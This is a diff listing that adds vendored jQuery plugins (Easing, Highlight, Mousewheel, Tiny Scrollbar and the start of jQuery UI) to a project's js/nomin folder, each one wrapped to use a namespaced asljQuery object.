+ bounceinout: function(x, t, b, c, d) {
38
+ return jQuery.easing.easeInOutBounce(x, t, b, c, d);
39
+ },
40
+ elasin: function(x, t, b, c, d) {
41
+ return jQuery.easing.easeInElastic(x, t, b, c, d);
42
+ },
43
+ elasout: function(x, t, b, c, d) {
44
+ return jQuery.easing.easeOutElastic(x, t, b, c, d);
45
+ },
46
+ elasinout: function(x, t, b, c, d) {
47
+ return jQuery.easing.easeInOutElastic(x, t, b, c, d);
48
+ },
49
+ backin: function(x, t, b, c, d) {
50
+ return jQuery.easing.easeInBack(x, t, b, c, d);
51
+ },
52
+ backout: function(x, t, b, c, d) {
53
+ return jQuery.easing.easeOutBack(x, t, b, c, d);
54
+ },
55
+ backinout: function(x, t, b, c, d) {
56
+ return jQuery.easing.easeInOutBack(x, t, b, c, d);
57
+ }
58
+ });
59
+ })(asljQuery);
js/nomin/jquery.easing.js ADDED
@@ -0,0 +1,206 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+ * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/
3
+ *
4
+ * Uses the built in easing capabilities added In jQuery 1.1
5
+ * to offer multiple easing options
6
+ *
7
+ * TERMS OF USE - jQuery Easing
8
+ *
9
+ * Open source under the BSD License.
10
+ *
11
+ * Copyright © 2008 George McGinley Smith
12
+ * All rights reserved.
13
+ *
14
+ * Redistribution and use in source and binary forms, with or without modification,
15
+ * are permitted provided that the following conditions are met:
16
+ *
17
+ * Redistributions of source code must retain the above copyright notice, this list of
18
+ * conditions and the following disclaimer.
19
+ * Redistributions in binary form must reproduce the above copyright notice, this list
20
+ * of conditions and the following disclaimer in the documentation and/or other materials
21
+ * provided with the distribution.
22
+ *
23
+ * Neither the name of the author nor the names of contributors may be used to endorse
24
+ * or promote products derived from this software without specific prior written permission.
25
+ *
26
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
27
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
28
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
29
+ * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
30
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
31
+ * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
32
+ * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
33
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
34
+ * OF THE POSSIBILITY OF SUCH DAMAGE.
35
+ *
36
+ */
37
+
38
+ // t: current time, b: begInnIng value, c: change In value, d: duration
39
+ (function(jQuery){
40
+ jQuery.easing['jswing'] = jQuery.easing['swing'];
41
+
42
+ jQuery.extend( jQuery.easing,
43
+ {
44
+ def: 'easeOutQuad',
45
+ swing: function (x, t, b, c, d) {
46
+ //alert(jQuery.easing.default);
47
+ return jQuery.easing[jQuery.easing.def](x, t, b, c, d);
48
+ },
49
+ easeInQuad: function (x, t, b, c, d) {
50
+ return c*(t/=d)*t + b;
51
+ },
52
+ easeOutQuad: function (x, t, b, c, d) {
53
+ return -c *(t/=d)*(t-2) + b;
54
+ },
55
+ easeInOutQuad: function (x, t, b, c, d) {
56
+ if ((t/=d/2) < 1) return c/2*t*t + b;
57
+ return -c/2 * ((--t)*(t-2) - 1) + b;
58
+ },
59
+ easeInCubic: function (x, t, b, c, d) {
60
+ return c*(t/=d)*t*t + b;
61
+ },
62
+ easeOutCubic: function (x, t, b, c, d) {
63
+ return c*((t=t/d-1)*t*t + 1) + b;
64
+ },
65
+ easeInOutCubic: function (x, t, b, c, d) {
66
+ if ((t/=d/2) < 1) return c/2*t*t*t + b;
67
+ return c/2*((t-=2)*t*t + 2) + b;
68
+ },
69
+ easeInQuart: function (x, t, b, c, d) {
70
+ return c*(t/=d)*t*t*t + b;
71
+ },
72
+ easeOutQuart: function (x, t, b, c, d) {
73
+ return -c * ((t=t/d-1)*t*t*t - 1) + b;
74
+ },
75
+ easeInOutQuart: function (x, t, b, c, d) {
76
+ if ((t/=d/2) < 1) return c/2*t*t*t*t + b;
77
+ return -c/2 * ((t-=2)*t*t*t - 2) + b;
78
+ },
79
+ easeInQuint: function (x, t, b, c, d) {
80
+ return c*(t/=d)*t*t*t*t + b;
81
+ },
82
+ easeOutQuint: function (x, t, b, c, d) {
83
+ return c*((t=t/d-1)*t*t*t*t + 1) + b;
84
+ },
85
+ easeInOutQuint: function (x, t, b, c, d) {
86
+ if ((t/=d/2) < 1) return c/2*t*t*t*t*t + b;
87
+ return c/2*((t-=2)*t*t*t*t + 2) + b;
88
+ },
89
+ easeInSine: function (x, t, b, c, d) {
90
+ return -c * Math.cos(t/d * (Math.PI/2)) + c + b;
91
+ },
92
+ easeOutSine: function (x, t, b, c, d) {
93
+ return c * Math.sin(t/d * (Math.PI/2)) + b;
94
+ },
95
+ easeInOutSine: function (x, t, b, c, d) {
96
+ return -c/2 * (Math.cos(Math.PI*t/d) - 1) + b;
97
+ },
98
+ easeInExpo: function (x, t, b, c, d) {
99
+ return (t==0) ? b : c * Math.pow(2, 10 * (t/d - 1)) + b;
100
+ },
101
+ easeOutExpo: function (x, t, b, c, d) {
102
+ return (t==d) ? b+c : c * (-Math.pow(2, -10 * t/d) + 1) + b;
103
+ },
104
+ easeInOutExpo: function (x, t, b, c, d) {
105
+ if (t==0) return b;
106
+ if (t==d) return b+c;
107
+ if ((t/=d/2) < 1) return c/2 * Math.pow(2, 10 * (t - 1)) + b;
108
+ return c/2 * (-Math.pow(2, -10 * --t) + 2) + b;
109
+ },
110
+ easeInCirc: function (x, t, b, c, d) {
111
+ return -c * (Math.sqrt(1 - (t/=d)*t) - 1) + b;
112
+ },
113
+ easeOutCirc: function (x, t, b, c, d) {
114
+ return c * Math.sqrt(1 - (t=t/d-1)*t) + b;
115
+ },
116
+ easeInOutCirc: function (x, t, b, c, d) {
117
+ if ((t/=d/2) < 1) return -c/2 * (Math.sqrt(1 - t*t) - 1) + b;
118
+ return c/2 * (Math.sqrt(1 - (t-=2)*t) + 1) + b;
119
+ },
120
+ easeInElastic: function (x, t, b, c, d) {
121
+ var s=1.70158;var p=0;var a=c;
122
+ if (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3;
123
+ if (a < Math.abs(c)) { a=c; var s=p/4; }
124
+ else var s = p/(2*Math.PI) * Math.asin (c/a);
125
+ return -(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
126
+ },
127
+ easeOutElastic: function (x, t, b, c, d) {
128
+ var s=1.70158;var p=0;var a=c;
129
+ if (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3;
130
+ if (a < Math.abs(c)) { a=c; var s=p/4; }
131
+ else var s = p/(2*Math.PI) * Math.asin (c/a);
132
+ return a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b;
133
+ },
134
+ easeInOutElastic: function (x, t, b, c, d) {
135
+ var s=1.70158;var p=0;var a=c;
136
+ if (t==0) return b; if ((t/=d/2)==2) return b+c; if (!p) p=d*(.3*1.5);
137
+ if (a < Math.abs(c)) { a=c; var s=p/4; }
138
+ else var s = p/(2*Math.PI) * Math.asin (c/a);
139
+ if (t < 1) return -.5*(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
140
+ return a*Math.pow(2,-10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )*.5 + c + b;
141
+ },
142
+ easeInBack: function (x, t, b, c, d, s) {
143
+ if (s == undefined) s = 1.70158;
144
+ return c*(t/=d)*t*((s+1)*t - s) + b;
145
+ },
146
+ easeOutBack: function (x, t, b, c, d, s) {
147
+ if (s == undefined) s = 1.70158;
148
+ return c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b;
149
+ },
150
+ easeInOutBack: function (x, t, b, c, d, s) {
151
+ if (s == undefined) s = 1.70158;
152
+ if ((t/=d/2) < 1) return c/2*(t*t*(((s*=(1.525))+1)*t - s)) + b;
153
+ return c/2*((t-=2)*t*(((s*=(1.525))+1)*t + s) + 2) + b;
154
+ },
155
+ easeInBounce: function (x, t, b, c, d) {
156
+ return c - jQuery.easing.easeOutBounce (x, d-t, 0, c, d) + b;
157
+ },
158
+ easeOutBounce: function (x, t, b, c, d) {
159
+ if ((t/=d) < (1/2.75)) {
160
+ return c*(7.5625*t*t) + b;
161
+ } else if (t < (2/2.75)) {
162
+ return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;
163
+ } else if (t < (2.5/2.75)) {
164
+ return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;
165
+ } else {
166
+ return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;
167
+ }
168
+ },
169
+ easeInOutBounce: function (x, t, b, c, d) {
170
+ if (t < d/2) return jQuery.easing.easeInBounce (x, t*2, 0, c, d) * .5 + b;
171
+ return jQuery.easing.easeOutBounce (x, t*2-d, 0, c, d) * .5 + c*.5 + b;
172
+ }
173
+ });
174
+ })(asljQuery);
175
+ /*
176
+ *
177
+ * TERMS OF USE - EASING EQUATIONS
178
+ *
179
+ * Open source under the BSD License.
180
+ *
181
+ * Copyright © 2001 Robert Penner
182
+ * All rights reserved.
183
+ *
184
+ * Redistribution and use in source and binary forms, with or without modification,
185
+ * are permitted provided that the following conditions are met:
186
+ *
187
+ * Redistributions of source code must retain the above copyright notice, this list of
188
+ * conditions and the following disclaimer.
189
+ * Redistributions in binary form must reproduce the above copyright notice, this list
190
+ * of conditions and the following disclaimer in the documentation and/or other materials
191
+ * provided with the distribution.
192
+ *
193
+ * Neither the name of the author nor the names of contributors may be used to endorse
194
+ * or promote products derived from this software without specific prior written permission.
195
+ *
196
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
197
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
198
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
199
+ * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
200
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
201
+ * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
202
+ * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
203
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
204
+ * OF THE POSSIBILITY OF SUCH DAMAGE.
205
+ *
206
+ */
js/nomin/jquery.highlight.js ADDED
@@ -0,0 +1,108 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+ * jQuery Highlight plugin
3
+ *
4
+ * Based on highlight v3 by Johann Burkard
5
+ * http://johannburkard.de/blog/programming/javascript/highlight-javascript-text-higlighting-jquery-plugin.html
6
+ *
7
+ * Code a little bit refactored and cleaned (in my humble opinion).
8
+ * Most important changes:
9
+ * - has an option to highlight only entire words (wordsOnly - false by default),
10
+ * - has an option to be case sensitive (caseSensitive - false by default)
11
+ * - highlight element tag and class names can be specified in options
12
+ *
13
+ * Usage:
14
+ * // wrap every occurrance of text 'lorem' in content
15
+ * // with <span class='highlight'> (default options)
16
+ * $('#content').highlight('lorem');
17
+ *
18
+ * // search for and highlight more terms at once
19
+ * // so you can save some time on traversing DOM
20
+ * $('#content').highlight(['lorem', 'ipsum']);
21
+ * $('#content').highlight('lorem ipsum');
22
+ *
23
+ * // search only for entire word 'lorem'
24
+ * $('#content').highlight('lorem', { wordsOnly: true });
25
+ *
26
+ * // don't ignore case during search of term 'lorem'
27
+ * $('#content').highlight('lorem', { caseSensitive: true });
28
+ *
29
+ * // wrap every occurrance of term 'ipsum' in content
30
+ * // with <em class='important'>
31
+ * $('#content').highlight('ipsum', { element: 'em', className: 'important' });
32
+ *
33
+ * // remove default highlight
34
+ * $('#content').unhighlight();
35
+ *
36
+ * // remove custom highlight
37
+ * $('#content').unhighlight({ element: 'em', className: 'important' });
38
+ *
39
+ *
40
+ * Copyright (c) 2009 Bartek Szopka
41
+ *
42
+ * Licensed under MIT license.
43
+ *
44
+ */
45
+ (function(jQuery){
46
+ jQuery.extend({
47
+ highlight: function (node, re, nodeName, className) {
48
+ if (node.nodeType === 3) {
49
+ var match = node.data.match(re);
50
+ if (match) {
51
+ var highlight = document.createElement(nodeName || 'span');
52
+ highlight.className = className || 'highlight';
53
+ var wordNode = node.splitText(match.index);
54
+ wordNode.splitText(match[0].length);
55
+ var wordClone = wordNode.cloneNode(true);
56
+ highlight.appendChild(wordClone);
57
+ wordNode.parentNode.replaceChild(highlight, wordNode);
58
+ return 1; //skip added node in parent
59
+ }
60
+ } else if ((node.nodeType === 1 && node.childNodes) && // only element nodes that have children
61
+ !/(script|style)/i.test(node.tagName) && // ignore script and style nodes
62
+ !(node.tagName === nodeName.toUpperCase() && node.className === className)) { // skip if already highlighted
63
+ for (var i = 0; i < node.childNodes.length; i++) {
64
+ i += jQuery.highlight(node.childNodes[i], re, nodeName, className);
65
+ }
66
+ }
67
+ return 0;
68
+ }
69
+ });
70
+
71
+ jQuery.fn.unhighlight = function (options) {
72
+ var settings = { className: 'highlight', element: 'span' };
73
+ jQuery.extend(settings, options);
74
+
75
+ return this.find(settings.element + "." + settings.className).each(function () {
76
+ var parent = this.parentNode;
77
+ parent.replaceChild(this.firstChild, this);
78
+ parent.normalize();
79
+ }).end();
80
+ };
81
+
82
+ jQuery.fn.highlight = function (words, options) {
83
+ var settings = { className: 'highlight', element: 'span', caseSensitive: false, wordsOnly: false };
84
+ jQuery.extend(settings, options);
85
+
86
+ if (words.constructor === String) {
87
+ words = [words];
88
+ }
89
+ words = jQuery.grep(words, function(word, i){
90
+ return word != '';
91
+ });
92
+ words = jQuery.map(words, function(word, i) {
93
+ return word.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, "\\$&");
94
+ });
95
+ if (words.length == 0) { return this; };
96
+
97
+ var flag = settings.caseSensitive ? "" : "i";
98
+ var pattern = "(" + words.join("|") + ")";
99
+ if (settings.wordsOnly) {
100
+ pattern = "\\b" + pattern + "\\b";
101
+ }
102
+ var re = new RegExp(pattern, flag);
103
+
104
+ return this.each(function () {
105
+ jQuery.highlight(this, re, settings.element, settings.className);
106
+ });
107
+ };
108
+ })(asljQuery);
js/nomin/jquery.mousewheel.min.js ADDED
@@ -0,0 +1,12 @@
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*! Copyright (c) 2011 Brandon Aaron (http://brandonaaron.net)
2
+ * Licensed under the MIT License (LICENSE.txt).
3
+ *
4
+ * Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers.
5
+ * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix.
6
+ * Thanks to: Seamus Leahy for adding deltaX and deltaY
7
+ *
8
+ * Version: 3.0.6
9
+ *
10
+ * Requires: 1.2.2+
11
+ */
12
+ (function(a){function d(b){var c=b||window.event,d=[].slice.call(arguments,1),e=0,f=!0,g=0,h=0;return b=a.event.fix(c),b.type="mousewheel",c.wheelDelta&&(e=c.wheelDelta/120),c.detail&&(e=-c.detail/3),h=e,c.axis!==undefined&&c.axis===c.HORIZONTAL_AXIS&&(h=0,g=-1*e),c.wheelDeltaY!==undefined&&(h=c.wheelDeltaY/120),c.wheelDeltaX!==undefined&&(g=-1*c.wheelDeltaX/120),d.unshift(b,e,g,h),(a.event.dispatch||a.event.handle).apply(this,d)}var b=["DOMMouseScroll","mousewheel"];if(a.event.fixHooks)for(var c=b.length;c;)a.event.fixHooks[b[--c]]=a.event.mouseHooks;a.event.special.mousewheel={setup:function(){if(this.addEventListener)for(var a=b.length;a;)this.addEventListener(b[--a],d,!1);else this.onmousewheel=d},teardown:function(){if(this.removeEventListener)for(var a=b.length;a;)this.removeEventListener(b[--a],d,!1);else this.onmousewheel=null}},a.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}})})(asljQuery);
js/nomin/jquery.tinyscrollbar.js ADDED
@@ -0,0 +1,214 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+ * Tiny Scrollbar
3
+ * http://www.baijs.nl/tinyscrollbar/
4
+ *
5
+ * Dual licensed under the MIT or GPL Version 2 licenses.
6
+ * http://www.opensource.org/licenses/mit-license.php
7
+ * http://www.opensource.org/licenses/gpl-2.0.php
8
+ *
9
+ * Date: 13 / 08 / 2012
10
+ * @version 1.81
11
+ * @author Maarten Baijs
12
+ *
13
+ */
14
+ ( function( $ )
15
+ {
16
+
17
+ $.tiny = $.tiny || { };
18
+
19
+ $.tiny.scrollbar = {
20
+ options: {
21
+ axis : 'y' // vertical or horizontal scrollbar? ( x || y ).
22
+ , wheel : 40 // how many pixels must the mouswheel scroll at a time.
23
+ , scroll : true // enable or disable the mousewheel.
24
+ , lockscroll : true // return scrollwheel to browser if there is no more content.
25
+ , size : 'auto' // set the size of the scrollbar to auto or a fixed number.
26
+ , sizethumb : 'auto' // set the size of the thumb to auto or a fixed number.
27
+ , invertscroll : false // Enable mobile invert style scrolling
28
+ }
29
+ };
30
+
31
+ $.fn.tinyscrollbar = function( params )
32
+ {
33
+ var options = $.extend( {}, $.tiny.scrollbar.options, params );
34
+
35
+ this.each( function()
36
+ {
37
+ $( this ).data('tsb', new Scrollbar( $( this ), options ) );
38
+ });
39
+
40
+ return this;
41
+ };
42
+
43
+ $.fn.tinyscrollbar_update = function(sScroll)
44
+ {
45
+ return $( this ).data( 'tsb' ).update( sScroll );
46
+ };
47
+
48
+ function Scrollbar( root, options )
49
+ {
50
+ var oSelf = this
51
+ , oWrapper = root
52
+ , oViewport = { obj: $( '.viewport', root ) }
53
+ , oContent = { obj: $( '.overview', root ) }
54
+ , oScrollbar = { obj: $( '.scrollbar', root ) }
55
+ , oTrack = { obj: $( '.track', oScrollbar.obj ) }
56
+ , oThumb = { obj: $( '.thumb', oScrollbar.obj ) }
57
+ , sAxis = options.axis === 'x'
58
+ , sDirection = sAxis ? 'left' : 'top'
59
+ , sSize = sAxis ? 'Width' : 'Height'
60
+ , iScroll = 0
61
+ , iPosition = { start: 0, now: 0 }
62
+ , iMouse = {}
63
+ , touchEvents = 'ontouchstart' in document.documentElement
64
+ ;
65
+
66
+ function initialize()
67
+ {
68
+ oSelf.update();
69
+ setEvents();
70
+
71
+ return oSelf;
72
+ }
73
+
74
+ this.update = function( sScroll )
75
+ {
76
+ oViewport[ options.axis ] = oViewport.obj[0][ 'offset'+ sSize ];
77
+ oContent[ options.axis ] = oContent.obj[0][ 'scroll'+ sSize ];
78
+ oContent.ratio = oViewport[ options.axis ] / oContent[ options.axis ];
79
+
80
+ oScrollbar.obj.toggleClass( 'disable', oContent.ratio >= 1 );
81
+
82
+ oTrack[ options.axis ] = options.size === 'auto' ? oViewport[ options.axis ] : options.size;
83
+ oThumb[ options.axis ] = Math.min( oTrack[ options.axis ], Math.max( 0, ( options.sizethumb === 'auto' ? ( oTrack[ options.axis ] * oContent.ratio ) : options.sizethumb ) ) );
84
+
85
+ oScrollbar.ratio = options.sizethumb === 'auto' ? ( oContent[ options.axis ] / oTrack[ options.axis ] ) : ( oContent[ options.axis ] - oViewport[ options.axis ] ) / ( oTrack[ options.axis ] - oThumb[ options.axis ] );
86
+
87
+ iScroll = ( sScroll === 'relative' && oContent.ratio <= 1 ) ? Math.min( ( oContent[ options.axis ] - oViewport[ options.axis ] ), Math.max( 0, iScroll )) : 0;
88
+ iScroll = ( sScroll === 'bottom' && oContent.ratio <= 1 ) ? ( oContent[ options.axis ] - oViewport[ options.axis ] ) : isNaN( parseInt( sScroll, 10 ) ) ? iScroll : parseInt( sScroll, 10 );
89
+
90
+ setSize();
91
+ };
92
+
93
+ function setSize()
94
+ {
95
+ var sCssSize = sSize.toLowerCase();
96
+
97
+ oThumb.obj.css( sDirection, iScroll / oScrollbar.ratio );
98
+ oContent.obj.css( sDirection, -iScroll );
99
+ iMouse.start = oThumb.obj.offset()[ sDirection ];
100
+
101
+ oScrollbar.obj.css( sCssSize, oTrack[ options.axis ] );
102
+ oTrack.obj.css( sCssSize, oTrack[ options.axis ] );
103
+ oThumb.obj.css( sCssSize, oThumb[ options.axis ] );
104
+ }
105
+
106
+ function setEvents()
107
+ {
108
+ if( ! touchEvents )
109
+ {
110
+ oThumb.obj.bind( 'mousedown', start );
111
+ oTrack.obj.bind( 'mouseup', drag );
112
+ }
113
+ else
114
+ {
115
+ oViewport.obj[0].ontouchstart = function( event )
116
+ {
117
+ if( 1 === event.touches.length )
118
+ {
119
+ start( event.touches[ 0 ] );
120
+ event.stopPropagation();
121
+ }
122
+ };
123
+ }
124
+
125
+ if( options.scroll && window.addEventListener )
126
+ {
127
+ oWrapper[0].addEventListener( 'DOMMouseScroll', wheel, false );
128
+ oWrapper[0].addEventListener( 'mousewheel', wheel, false );
129
+ }
130
+ else if( options.scroll )
131
+ {
132
+ oWrapper[0].onmousewheel = wheel;
133
+ }
134
+ }
135
+
136
+ function start( event )
137
+ {
138
+ $( "body" ).addClass( "noSelect" );
139
+
140
+ var oThumbDir = parseInt( oThumb.obj.css( sDirection ), 10 );
141
+ iMouse.start = sAxis ? event.pageX : event.pageY;
142
+ iPosition.start = oThumbDir == 'auto' ? 0 : oThumbDir;
143
+
144
+ if( ! touchEvents )
145
+ {
146
+ $( document ).bind( 'mousemove', drag );
147
+ $( document ).bind( 'mouseup', end );
148
+ oThumb.obj.bind( 'mouseup', end );
149
+ }
150
+ else
151
+ {
152
+ document.ontouchmove = function( event )
153
+ {
154
+ event.preventDefault();
155
+ drag( event.touches[ 0 ] );
156
+ };
157
+ document.ontouchend = end;
158
+ }
159
+ }
160
+
161
+ function wheel( event )
162
+ {
163
+ if( oContent.ratio < 1 )
164
+ {
165
+ var oEvent = event || window.event
166
+ , iDelta = oEvent.wheelDelta ? oEvent.wheelDelta / 120 : -oEvent.detail / 3
167
+ ;
168
+
169
+ iScroll -= iDelta * options.wheel;
170
+ iScroll = Math.min( ( oContent[ options.axis ] - oViewport[ options.axis ] ), Math.max( 0, iScroll ));
171
+
172
+ oThumb.obj.css( sDirection, iScroll / oScrollbar.ratio );
173
+ oContent.obj.css( sDirection, -iScroll );
174
+
175
+ if( options.lockscroll || ( iScroll !== ( oContent[ options.axis ] - oViewport[ options.axis ] ) && iScroll !== 0 ) )
176
+ {
177
+ oEvent = $.event.fix( oEvent );
178
+ oEvent.preventDefault();
179
+ }
180
+ }
181
+ }
182
+
183
+ function drag( event )
184
+ {
185
+ if( oContent.ratio < 1 )
186
+ {
187
+ if( options.invertscroll && touchEvents )
188
+ {
189
+ iPosition.now = Math.min( ( oTrack[ options.axis ] - oThumb[ options.axis ] ), Math.max( 0, ( iPosition.start + ( iMouse.start - ( sAxis ? event.pageX : event.pageY ) ))));
190
+ }
191
+ else
192
+ {
193
+ iPosition.now = Math.min( ( oTrack[ options.axis ] - oThumb[ options.axis ] ), Math.max( 0, ( iPosition.start + ( ( sAxis ? event.pageX : event.pageY ) - iMouse.start))));
194
+ }
195
+
196
+ iScroll = iPosition.now * oScrollbar.ratio;
197
+ oContent.obj.css( sDirection, -iScroll );
198
+ oThumb.obj.css( sDirection, iPosition.now );
199
+ }
200
+ }
201
+
202
+ function end()
203
+ {
204
+ $( "body" ).removeClass( "noSelect" );
205
+ $( document ).unbind( 'mousemove', drag );
206
+ $( document ).unbind( 'mouseup', end );
207
+ oThumb.obj.unbind( 'mouseup', end );
208
+ document.ontouchmove = document.ontouchend = null;
209
+ }
210
+
211
+ return initialize();
212
+ }
213
+
214
+ }(asljQuery));
js/nomin/jquery.ui.js ADDED
@@ -0,0 +1,11462 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
